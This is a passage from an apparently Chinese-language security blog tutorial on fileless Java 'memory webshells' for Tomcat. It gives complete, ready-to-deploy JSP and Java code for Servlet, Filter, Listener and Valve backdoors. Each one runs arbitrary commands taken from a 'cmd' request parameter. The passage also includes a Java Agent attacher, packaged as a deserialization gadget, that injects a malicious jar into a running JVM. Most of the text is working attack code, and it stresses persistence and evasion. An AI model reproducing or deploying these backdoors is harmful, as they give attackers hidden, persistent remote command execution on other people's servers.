            String cmd = servletRequest.getParameter("cmd");
            if (cmd != null) {
                Process process = Runtime.getRuntime().exec(cmd);
                java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                        new java.io.InputStreamReader(process.getInputStream()));
                StringBuilder stringBuilder = new StringBuilder();
                String line;
                while ((line = bufferedReader.readLine()) != null) {
                    stringBuilder.append(line + '\n');
                }
                servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
                servletResponse.getOutputStream().flush();
                servletResponse.getOutputStream().close();
                return;
            }
        }
    }
%>

<%
    ServletContext servletContext =  request.getSession().getServletContext();
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
    ServletDemo demo = new ServletDemo();
    org.apache.catalina.Wrapper demoWrapper = standardContext.createWrapper();

//设置Servlet名等
    demoWrapper.setName("xyz");
    demoWrapper.setLoadOnStartup(1);
    demoWrapper.setServlet(demo);
    demoWrapper.setServletClass(demo.getClass().getName());
    standardContext.addChild(demoWrapper);

//设置ServletMap
    standardContext.addServletMappingDecoded("/xyz", "xyz");
    out.println("inject servlet success!");
%>

接着我们访问一次这个页面,应该能看到页面上显示inject servlet success!,接着访问xyz接口,我们就可以执行命令了:

而在整个过程里我们没有写入文件,而是通过反射注入,绕过普通 Web 容器配置约束,一旦注入成功,只要 JVM 不重启,这个后门就一直生效。

参考Tomcat-Servlet型内存马,这里补充一点知识,Tomcat是应用(java)服务器,它只是一个servlet容器,是Apache的扩展,但它是独立运行的,Tomcat由四大容器组成,分别是Engine、Host、Context、Wrapper。这四个组件是负责关系,存在包含关系。只包含一个引擎(Engine):

  • Engine(引擎):表示可运行的Catalina的servlet引擎实例,并且包含了servlet容器的核心功能。在一个服务中只能有一个引擎。同时,作为一个真正的容器,Engine元素之下可以包含一个或多个虚拟主机。它主要功能是将传入请求委托给适当的虚拟主机处理。如果根据名称没有找到可处理的虚拟主机,那么将根据默认的Host来判断该由哪个虚拟主机处理。
  • Host (虚拟主机):作用就是运行多个应用,它负责安装和展开这些应用,并且标识这个应用以便能够区分它们。它的子容器通常是 Context。一个虚拟主机下都可以部署一个或者多个Web App,每个Web App对应于一个Context,当Host获得一个请求时,将把该请求匹配到某个Context上,然后把该请求交给该Context来处理。主机组件类似于Apache中的虚拟主机,但在Tomcat中只支持基于FQDN(完全合格的主机名)的“虚拟主机”。Host主要用来解析web.xml
  • Context(上下文):代表 Servlet 的 Context,它具备了 Servlet 运行的基本环境,它表示Web应用程序本身。Context 最重要的功能就是管理它里面的 Servlet 实例,一个Context代表一个Web应用,一个Web应用由一个或者多个Servlet实例组成。
  • Wrapper(包装器):代表一个 Servlet,它负责管理一个 Servlet,包括的 Servlet 的装载、初始化、执行以及资源回收。Wrapper 是最底层的容器,它没有子容器了,所以调用它的 addChild 将会报错。

其中webapps文件夹即是我们的Host,webapps中的文件夹(如examples/ROOT)代表一个Context,每个Context内包含Wrapper,Wrapper 则负责管理容器内的 Servlet。

虽然StandardContext中提供了动态注册Servlet的方法,但是并未实现,所以需要我们自己去实现一个添加Servlet的功能。在Wrapper的初始化中,可以看到它首先是创建了一个Wrapper,然后通过set方法配置了一些属性,其中这个load-on-startup顾名思义就是配置启动优先级的:

接着继续配置wrapper的servletClass:

配置完成之后会将wrapper放入StandardContext的child里:

接着会遍历web.xml中servlet-mapping的servlet-name和对应的url-pattern,调用StandardContext.addServletMappingDecoded()添加servlet对应的映射:

所以Servlet的初始化如下:

  • 通过 context.createWapper() 创建 Wapper 对象
  • 设置 Servlet 的 LoadOnStartUp 的值
  • 设置 Servlet 的 Name
  • 设置 Servlet 对应的 Class
  • 将 Servlet 添加到 context 的 children 中
  • 将 url 路径和 servlet 类做映射

接下来我们分析Servlet的装载流程,可以看到,是在加载完Listener和Filter之后,才装载Servlet:

上面这里通过 findChildren()方法从StandardContext中拿到所有的child并传到loadOnStartUp()方法处理,而loadOnStartUp这个方法的作用是将所有load-on-startup属性大于0的wrapper加载,这也是为什么我们的内存马代码里必须有一句demoWrapper.setLoadOnStartup(1)

事实上 load-on-startup 就是用来指定 Servlet 容器在启动 Web 应用时是否立即加载某个 Servlet,如果没有指定,那么只有在该servlet被调用时才加载,所以说我们的内存马必须要有这个属性。

现在我们知道了,手动注册一个servlet的流程如下:

  • 找到StandardContext
  • 继承并编写一个恶意servlet
  • 通过 context.createWapper() 创建 Wapper 对象
  • 设置 Servlet 的 LoadOnStartUp 的值
  • 设置 Servlet 的 Name
  • 设置 Servlet 对应的 Class
  • 将 Servlet 添加到 context 的 children 中
  • 将 url 路径和 servlet 类做映射

现在我们来分析一下这个内存马,第一部分的代码比较简单,就是定义了一个内联 ServletServletDemo,和我们最开始的demo差不多,主要是第二部分,首先看到这里,我们使用反射获取了 Tomcat 内部结构:

<%
ServletContext servletContext = request.getSession().getServletContext();

// 反射获取 org.apache.catalina.core.ApplicationContext
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

// 反射获取 org.apache.catalina.core.StandardContext
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
%>

ServletContext 是标准 Servlet API 提供的接口,正常程序不能操作底层,但我们通过两层反射,成功获取 Tomcat 的 StandardContext 实例,这个对象包含整个 Web 应用的 Servlet 管理器,有了 StandardContext,就可以动态注入新的 Servlet(即挂马)。

接着再往下看,我们动态注册了一个 Servlet:

ServletDemo demo = new ServletDemo();
org.apache.catalina.Wrapper demoWrapper = standardContext.createWrapper();

// 设置 Servlet 配置
demoWrapper.setName("xyz");
demoWrapper.setLoadOnStartup(1);
demoWrapper.setServlet(demo);
demoWrapper.setServletClass(demo.getClass().getName());
standardContext.addChild(demoWrapper);

// 添加路由映射
standardContext.addServletMappingDecoded("/xyz", "xyz");
out.println("inject servlet success!");
%>

我们首先创建一个 Wrapper(Tomcat 中封装 Servlet 的对象),设置 Servlet 名字、类名、优先加载等参数,然后通过 addChild 添加到容器的子组件,最后通过 addServletMapping 映射访问路径 /xyz 到这个挂载的 Servlet,所以我们最后就可以通过访问http://localhost:8080/springmvc_01_quickstart_war/xyz?cmd=calc.exe执行命令。

Filter型内存马

Java 中的 Filter(过滤器) 是 Java EE 提供的一种组件,用于在请求到达 Servlet 之前或响应返回客户端之前对请求或响应做统一处理。常见用途包括:

  • 权限验证
  • 请求日志记录
  • 编码设置
  • 敏感词过滤
  • 防止 XSS、SQL 注入
  • 请求拦截实现登录校验等

简单来说,Filter 会拦截 HTTP 请求,并在执行目标 Servlet 之前或之后执行代码,是否放行取决于 chain.doFilter() 方法,我们只需要实现 javax.servlet.Filter 接口,重写其中的 doFilter 方法通过注解 @WebFilterweb.xml 配置过滤路径,最后在容器里运行即可。

比如我们创建一个MyFilter.java,作用是拦截所有请求然后在命令行进行输出:

package com.itheima.controller;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;

// 拦截所有请求(包括 .jsp, .html 等)
@WebFilter("/*")
public class MyFilter implements Filter {

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("Filter 初始化");
    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
            throws IOException, ServletException {

        System.out.println("请求进入 Filter 之前处理");

        // 放行请求
        chain.doFilter(request, response);

        System.out.println("响应返回客户端之前处理");
    }

    @Override
    public void destroy() {
        System.out.println("Filter 被销毁");
    }
}

现在我们再访问任何一个页面,就可以看到控制台的输出,这就说明这次请求其实被我们拦截进行操作了:

多个 Filter 的执行可以通过 @WebFilter@Order(Spring Boot)或在 web.xml 中配置顺序。而filter如果不执行 chain.doFilter(),请求不会继续到目标 Servlet,也就是说请求就中断了。

我们来了解一下在Tomcat中与Filter密切相关的几个类:

  • FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
  • FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
  • FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
  • FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter
  • WebXml:存放 web.xml 中内容的类
  • ContextConfig:Web应用的上下文配置类
  • StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
  • StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet

这里我们来跟一下Filter的工作流程,可以发现它是根据filterChain来去做filter的

我们找到filterChain的定义:

跳转到这个createFilterChain,可以发现它会先调用 getParent() 方法获取 StandardContext,再获取filterMaps,而这个filterMaps顾名思义,就是在 filterMap 存放过滤器的名字以及作用的 url::

接下来遍历 filterMaps 中的 filterMap,如果发现符合当前请求 url 与 filterMap 中的 urlPattern 匹配且通过filterName能找到对应的filterConfig,则会将其加入filterChain:

至此filterChain组装完毕,重新回到 StandardContextValue 中,后面会调用 filterChain.doFilter() 方法:

filterChain.doFilter()会在内部调用internalDoFilter():

会从filters中依次拿到filter和filterConfig,最终调用filter.doFilter():

流程如下:

根据上面的调试,我们发现最关键的就是StandardContext.findFilterMaps()StandardContext.findFilterConfig(),而这两个方法都是直接从StandardContext中取到对应的属性,那么我们只要往这2个属性里面插入对应的filterMap和filterConfig即可实现动态添加filter的目的:

事实上StandardContext直接提供了对应的添加方法,比如这个addFilterMapBefore,而且看名字就知道,它应该向可以容器的过滤器映射表中添加一个 FilterMap,并插入到已有映射的前面。

只不过它前面有一个校验,我们跟一下这个validateFilterMap,可以发现它会根据filterName去寻找对应的filterDef,没有的话就直接抛出异常了,这里得注意一下:

我们找找添加filterDefs的方法,可以看到这里直接有现成的,所以添加一下就行了:

但是filterConfigs就没有现成的方法可以add了,得用反射手动获取然后添加。

最后总结下Filter型内存马(即动态创建filter)的步骤:

  • 获取StandardContext
  • 继承并编写一个恶意filter
  • 实例化一个FilterDef类,包装filter并存放到StandardContext.filterDefs中
  • 实例化一个FilterMap类,将我们的 Filter 和 urlpattern 相对应,存放到StandardContext.filterMaps中(一般会放在首位)
  • 通过反射获取filterConfigs,实例化一个FilterConfig(ApplicationFilterConfig)类,传入StandardContext与filterDefs,存放到filterConfig中

按照这个逻辑,我们不难写出代码SevletShell.jsp:

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
    class FilterDemo implements Filter {
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {}
        @Override
        public void destroy() {}
        @Override
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
                throws IOException, ServletException {
            String cmd = request.getParameter("cmd");
            if (cmd != null) {
                Process process = Runtime.getRuntime().exec(cmd);
                java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                        new java.io.InputStreamReader(process.getInputStream()));
                StringBuilder stringBuilder = new StringBuilder();
                String line;
                while ((line = bufferedReader.readLine()) != null) {
                    stringBuilder.append(line + '\n');
                }
                response.getOutputStream().write(stringBuilder.toString().getBytes());
                response.getOutputStream().flush();
                response.getOutputStream().close();
                return;
            }
        }
    }
%>

<%
        // 获取StandardContext
        ServletContext servletContext =  request.getSession().getServletContext();
        Field appctx = servletContext.getClass().getDeclaredField("context");
        appctx.setAccessible(true);
        ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
        Field stdctx = applicationContext.getClass().getDeclaredField("context");
        stdctx.setAccessible(true);
        StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

        // 获取filterConfigs
        Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
        Configs.setAccessible(true);
        Map filterConfigs = (Map) Configs.get(standardContext);

        Filter filter = new FilterDemo();

        String name = "fushuling";
        // FilterDef
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        standardContext.addFilterDef(filterDef);

        // FilterMap
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
        standardContext.addFilterMapBefore(filterMap);

        //ApplicationFilterConfig
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
        filterConfigs.put(name, filterConfig);

        out.print("Inject Success !");
%>

先访问SevletShell.jsp注入内存马,接着访问任何一个页面,我们都可以直接使用cmd进行代码注入,灵活性相比servlet的马大的多:

这里解释一下我们的马,首先 FilterDemo 就不用介绍了,就是一个恶意类,然后这里我们是和之前一样获取StandardContext:

ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

接着构造并注册了一个 FilterDef

FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);

然后构造并注册 FilterMap(拦截路径),这个 FilterMap 指定了路径匹配规则,这里是拦截所有请求,addFilterMapBefore() 是关键操作,表示将这个 Filter 插入到 Filter 链的最前面,防止被其他过滤器拦截或跳过:

FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");  // 所有路径
filterMap.setFilterName(name);
filterMap.setDispatcher("REQUEST");
standardContext.addFilterMapBefore(filterMap);

最后的最后,通过反射注册 ApplicationFilterConfig 让 Tomcat 真正使用该 Filter:

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);

Listener型内存马

在 Java 中,Listener(监听器) 是一种用于事件驱动编程的设计模式,常用于 GUI、Web 或其他需要响应某些事件(如点击、输入、改变等)的场景。它的核心思想是:一个对象监听另一个对象的事件,一旦事件发生,监听器就会被回调执行。

术语说明
事件源(Event Source)产生事件的对象
事件对象(Event Object)封装事件相关信息(如时间、来源等)
监听器(Listener)一个接口,定义了处理事件的方法
注册监听器事件源需要提供方法,允许监听器注册

这里我们来写个小demo:

package com.itheima.controller;

interface MyListener {
    void onClick(); // 监听器接口,定义一个回调方法
}

class Button {
    private MyListener listener; // 用于存储监听器

    // 设置监听器
    public void setListener(MyListener listener) {
        this.listener = listener;
    }

    // 模拟点击事件
    public void click() {
        System.out.println("按钮被点击了!");
        if (listener != null) {
            listener.onClick(); // 调用监听器的回调方法
        }
    }
}

public class ListenerTest {
    public static void main(String[] args) {
        Button button = new Button();

        // 注册监听器(使用 lambda 表达式)
        button.setListener(() -> {
            System.out.println("监听器:我知道按钮被点了!");
        });

        // 模拟点击按钮
        button.click();
    }
}

这里我们的监听器就是一个接口,可以通过 setListener() 注册,而在调用 click() 时触发监听器的 onClick() 方法。

写内存马主要涉及的是ServletRequestListener(由于其在每次请求中都会触发),而它会触发StandardContext#listenerStart,首先用findApplicationListeners获取到listener之后进行实例化:

然后会根据listener的不同放入不同的数组,我们的目标被放入了eventListeners

然后会用getApplicationEventListeners获取已注册的应用级事件监听器数组,然后重新设置一次applicationEventListenersList,也就是在applicationEventListenersList的基础上加上实例化的eventListeners

getApplicationEventListeners,顾名思义,就是返回applicationEventListenersList的值

最后的触发点在fireRequestInitEvent,利用getApplicationEventListeners获取所有applicationEventListenersList进行初始化:

分析上述流程我们知道,我们只需要向applicationEventListenersList中加入我们的恶意Listener即可,好消息是StandardContext里有现成的addApplicationEventListener方法用来添加Listener:

所以写内存马的思路就很简单了:写Listener、获取StandardContext,最后用addApplicationEventListener添加Listerner,具体代码如下:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>

<%
    class ListenerDemo implements ServletRequestListener{
        @Override
        public void requestDestroyed(ServletRequestEvent servletServletRequestListenerRequestEvent) {

        }
        @Override
        public void requestInitialized(ServletRequestEvent servletRequestEvent) {
            String cmd = servletRequestEvent.getServletRequest().getParameter("cmd");
            if(cmd != null){
                try {
                    Runtime.getRuntime().exec(cmd);
                } catch (IOException e) {}
            }
        }
    }
%>

<%
    // 获取StandardContext
    ServletContext servletContext =  request.getServletContext();
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    //实例化一个恶意Listener
    ListenerDemo servletRequestListener = new ListenerDemo();

    //添加Listener
    standardContext.addApplicationEventListener(servletRequestListener);
    out.println("inject success");
%>

我们只需要访问一下这个ListenerShell.jsp注册一下我们的恶意Listener,接下来我们就可以在任意位置执行恶意命令,非常灵活:

Valve型内存马

Tomcat 在处理一个请求调用逻辑时,是如何处理和传递 Request 和 Respone 对象的呢?为了整体架构的每个组件的可伸缩性和可扩展性,Tomcat 使用了职责链模式来实现客户端请求的处理。在 Tomcat 中定义了两个接口:Pipeline(管道)和 Valve(阀)。这两个接口名字很好的诠释了处理模式:数据流就像是流经管道的水一样,经过管道上个一个个阀门。

Pipeline 中会有一个最基础的 Valve(basic),它始终位于末端(最后执行),封装了具体的请求处理和输出响应的过程。Pipeline 提供了 addValve 方法,可以添加新 Valve 在 basic 之前,并按照添加顺序执行。

Tomcat 每个层级的容器(Engine、Host、Context、Wrapper),都有基础的 Valve 实现(StandardEngineValve、StandardHostValve、StandardContextValve、StandardWrapperValve),他们同时维护了一个 Pipeline 实例(StandardPipeline),也就是说,我们可以在任何层级的容器上针对请求处理进行扩展。这四个 Valve 的基础实现都继承了 ValveBase。这个类帮我们实现了生命接口及MBean 接口,使我们只需专注阀门的逻辑处理即可。

因此我们可以知道,Tomcat 中的 Valve 是其核心架构的一部分,属于 Catalina 容器中的一个重要扩展点,用于对请求和响应进行拦截、处理、监控或修改。它是实现类似 Filter(过滤器) 的功能,但是在 Tomcat 内部的更底层、更靠近容器核心的机制,一般用于日志记录、安全控制、URL 重写、请求拦截等任务。

比如上面提到的StandardEngineValve,可以看到它继承了ValveBase,且我们能拿到输入和输出:

那么如何注入Valve呢,我们的老朋友StandardContext里其实直接就有,在StandardContext里可以看到它使用了很多次 this.getPipeline来获取StandardPipeline,而这个方法实际上是直接从父类ContainerBase继承来的:

有了StandardPipeline,我们就可以使用addValve添加Valve了:

最后完整的代码如下:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Response" %>

<%
    class ValveDemo extends ValveBase {

        @Override
        public void invoke(Request request, Response response) throws IOException {
            String cmd = request.getParameter("cmd");
            if (cmd != null) {
                Process process = Runtime.getRuntime().exec(cmd);
                java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                        new java.io.InputStreamReader(process.getInputStream()));
                StringBuilder stringBuilder = new StringBuilder();
                String line;
                while ((line = bufferedReader.readLine()) != null) {
                    stringBuilder.append(line + '\n');
                }
                response.getOutputStream().write(stringBuilder.toString().getBytes());
                response.getOutputStream().flush();
                response.getOutputStream().close();
                return;
            }
        }
    }
%>

<%
    // 获取StandardContext
    ServletContext servletContext =  request.getSession().getServletContext();
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    //注入恶意Valve
    standardContext.getPipeline().addValve(new ValveDemo());

    out.println("inject success");
%>

最后访问一次这个ValveShell.jsp注入一下Valve,最后即可在任意页面RCE,机制类似于Filter:

Agent型内存马

Java Agent 是 Java 提供的一种 运行时字节码插桩机制,允许在应用程序启动之前(Premain)或运行时(Attach)动态修改类的行为。通过 Instrumentation 接口,Java Agent 可以:

  • 修改字节码
  • 注入方法逻辑
  • 监控敏感 API
  • 实现无文件落地的内存后门(如内存马)

Java Agent 常被用于 性能监控(如 SkyWalking、Arthas),但也被攻击者利用,注入恶意逻辑,实现绕过 Filter、Servlet 的隐藏通信通道。

Java Agent 其实只是一个 Java 类而已,但普通的 Java 类以 main 函数作为入口点的,Java Agent 的入口点则是 premain 和 agentmain,所以Java Agent 支持两种方式进行加载:

  • 实现 premain 方法,在启动时进行加载 (该特性在 jdk 1.5 之后才有)
  • 实现 agentmain 方法,在启动后进行加载 (该特性在 jdk 1.6 之后才有)

premain

PreDemo.java:

import java.lang.instrument.Instrumentation;

public class PreDemo {
    public static void premain(String args, Instrumentation inst){
        for (int i = 0; i < 10; i++) {
            System.out.println("hello I'm premain agent!!!");
        }
    }
}

agent.mf(注意最后有个换行):

Manifest-Version: 1.0
Premain-Class: PreDemo

接着打包jar:

javac PreDemo.java
jar cvfm agent.jar agent.mf PreDemo.class

最后应该可以看到一个agent.jar,然后随便写个小demo用Agent.jar进行劫持,按相似流程处理:

public class Hello {
    public static void main(String[] args) {
        System.out.println("Hello,Java");
    }
}

Hello.mf:

Manifest-Version: 1.0
Main-Class: Hello
javac Hello.java
jar cvfm hello.jar Hello.mf Hello.class

接着运行命令如下:

java -javaagent:agent.jar -jar hello.jar

可以看到现在就在运行 main 方法之前会先去调用我们 jar 包中 Premain-Class:

其实最原始的启动命令应该是:

java -javaagent:agent.jar[=options] -jar hello.jar

这个options是来给我们的premain传参的,也就是这个args,虽然我们的demo里没用上,而这个Instrumentation就大有来头了:

Instrumentation Instrumentation 是 JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent 通过这个类和目标 JVM 进行交互,从而达到修改数据的效果 在 Instrumentation 中增加了名叫 transformer 的 Class 文件转换器,转换器可以改变二进制流的数据 Transformer 可以对未加载的类进行拦截,同时可对已加载的类进行重新拦截,所以根据这个特性我们能够实现动态修改字节码

其中有一些比较重要的方法:

public interface Instrumentation {
 
    // 增加一个 Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer 方法配置之后,后续的类加载都会被 Transformer 拦截。对于已经加载过的类,可以执行 retransformClasses 来重新触发这个 Transformer 的拦截。类加载的字节码被修改后,除非再次被 retransform,否则不会恢复。
    void addTransformer(ClassFileTransformer transformer);
 
    // 删除一个类转换器
    boolean removeTransformer(ClassFileTransformer transformer);
 
    // 在类加载之后,重新定义 Class。这个很重要,该方法是 1.6 之后加入的,事实上,该方法是 update 了一个类。
    void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;
 
    // 判断目标类是否能够修改。
    boolean isModifiableClass(Class<?> theClass);
 
    // 获取目标已经加载的类。
    @SuppressWarnings("rawtypes")
    Class[] getAllLoadedClasses();
 
    ......
}

我们看到这个addTransformer:

他需要一个ClassFileTransformer,而这个东西本质就是一个transform:

所以我们只需要向这个transform里写一些恶意代码,就可以在类加载之前被提前调用。

agentmain 

agentmain通过VirtualMachineDescriptorVirtualMachine实现加载,通过 VirtualMachine 类的 attach (pid) 方法,可以 attach 到一个运行中的 java 进程上,之后便可以通过 loadAgent (agentJarPath) 来将 agent 的 jar 包注入到对应的进程,然后对应的进程会调用 agentmain 方法。

agent2.mf:

Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: AgentDemo

然后写一个AgentDemo,按之前的办法打包成jar:

import java.lang.instrument.Instrumentation;

public class AgentDemo {
    public static void agentmain(String agentArgs, Instrumentation inst) {
        for (int i = 0; i < 10; i++) {
            System.out.println("hello I'm agentMain!!!");
        }
    }
}

接着先把之前的Hello.java改一改,让他一直挂在后台

public class Hello {
    public static void main(String[] args) {
        System.out.println("Hello, Java");
        try {
            // 挂起主线程,模拟后台服务
            Thread.currentThread().join();
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
    }
}

打包后之后用java -jar运行在后台,用jps -l拿到进程号:

最后我们写一个attacher:

import com.sun.tools.attach.AgentInitializationException;
import com.sun.tools.attach.AgentLoadException;
import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;

import java.io.IOException;

public class AgentMain {
    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
        //目标应用程序的进程号
        String id = "43884";
        //agent的绝对地址
        String jarName = "D:\\java笔记\\Agent\\out\\artifacts\\Agent_jar\\agent2.jar";
        VirtualMachine virtualMachine = VirtualMachine.attach(id);
        virtualMachine.loadAgent(jarName);
        virtualMachine.detach();
    }
}

成功注入:

实战中的使用

当然,用脑子想想也知道实战中premain不大可能用的上,主要还是用agentmain,主要就是要执行恶意的attacher:

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

public class TestAgentMain extends AbstractTranslet  {
    public TestAgentMain() throws Exception {
        try {
            java.lang.String path = "/home/bmth/web/spring-agent.jar";
            java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar");
            java.net.URL url = toolsPath.toURI().toURL();
            java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
            Class MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
            Class MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
            java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list", null);
            java.util.List list = (java.util.List) listMethod.invoke(MyVirtualMachine, null);

            System.out.println("Running JVM list ...");
            for (int i = 0; i < list.size(); i++) {
                Object o = list.get(i);
                java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName", null);
                java.lang.String name = (java.lang.String) displayName.invoke(o, null);
                // 列出当前有哪些 JVM 进程在运行
                // 这里的 if 条件根据实际情况进行更改
                if (name.contains("ezjaba.jar")) {
                    // 获取对应进程的 pid 号
                    java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id", null);
                    java.lang.String id = (java.lang.String) getId.invoke(o, null);
                    System.out.println("id >>> " + id);
                    java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach", new Class[]{java.lang.String.class});
                    java.lang.Object vm = attach.invoke(o, new Object[]{id});
                    java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent", new Class[]{java.lang.String.class});
                    loadAgent.invoke(vm, new Object[]{path});
                    java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach", null);
                    detach.invoke(vm, null);
                    System.out.println("Agent.jar Inject Success !!");
                    break;
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    @Override
    public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {
    }
    @Override
    public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {

    }
}

当然,这里就会有一个问题,我们需要先把恶意的jar传上去,然后才能注入马,可以参考其他师傅搞好的:https://github.com/KpLi0rn/AgentMemShell

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
